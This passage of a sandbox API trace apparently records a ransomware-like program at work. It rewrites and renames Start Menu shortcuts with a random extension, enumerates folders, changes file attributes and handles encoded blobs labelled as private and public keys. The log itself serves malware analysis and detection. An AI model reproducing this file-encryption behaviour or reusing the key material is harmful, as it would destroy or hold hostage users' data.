lpNumberOfBytesRead=0x18f6a0*=0x5ad, lpOverlapped=0x0) returned 1 [0128.413] CloseHandle (hObject=0x1ec) returned 1 [0128.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0128.415] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x5ad, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f6ac*=0x5ad, lpOverlapped=0x0) returned 1 [0128.417] CloseHandle (hObject=0x1ec) returned 1 [0128.417] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk.zv7un")) returned 1 [0128.419] GetCurrentThreadId () returned 0xa30 [0128.419] GetCurrentThreadId () returned 0xa30 [0128.419] GetCurrentThreadId () returned 0xa30 [0128.419] GetCurrentThreadId () returned 0xa30 [0128.419] GetCurrentThreadId () returned 0xa30 [0128.419] GetCurrentThreadId () returned 0xa30 [0128.419] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0128.419] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Startup", cAlternateFileName="")) returned 1 [0128.419] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Startup", cAlternateFileName="")) returned 0 [0128.420] GetLastError () returned 0x12 [0128.420] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0128.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x60fba220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60fba220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0128.420] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0128.420] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0128.420] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x60fba220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60fba220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0128.420] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0128.420] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0128.420] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0128.420] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0128.420] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0128.421] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0128.421] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0128.421] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0128.421] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2a53d8cd, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Command Prompt.lnk", cAlternateFileName="COMMAN~1.LNK")) returned 1 [0128.421] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0128.421] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0128.421] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2a53d8cd, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x500)) returned 1 [0128.423] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk")) returned 0x20 [0128.423] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk", dwFileAttributes=0x80) returned 1 [0128.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.426] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0128.427] GetCurrentThreadId () returned 0xa30 [0128.427] GetCurrentThreadId () returned 0xa30 [0128.427] GetCurrentThreadId () returned 0xa30 [0128.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 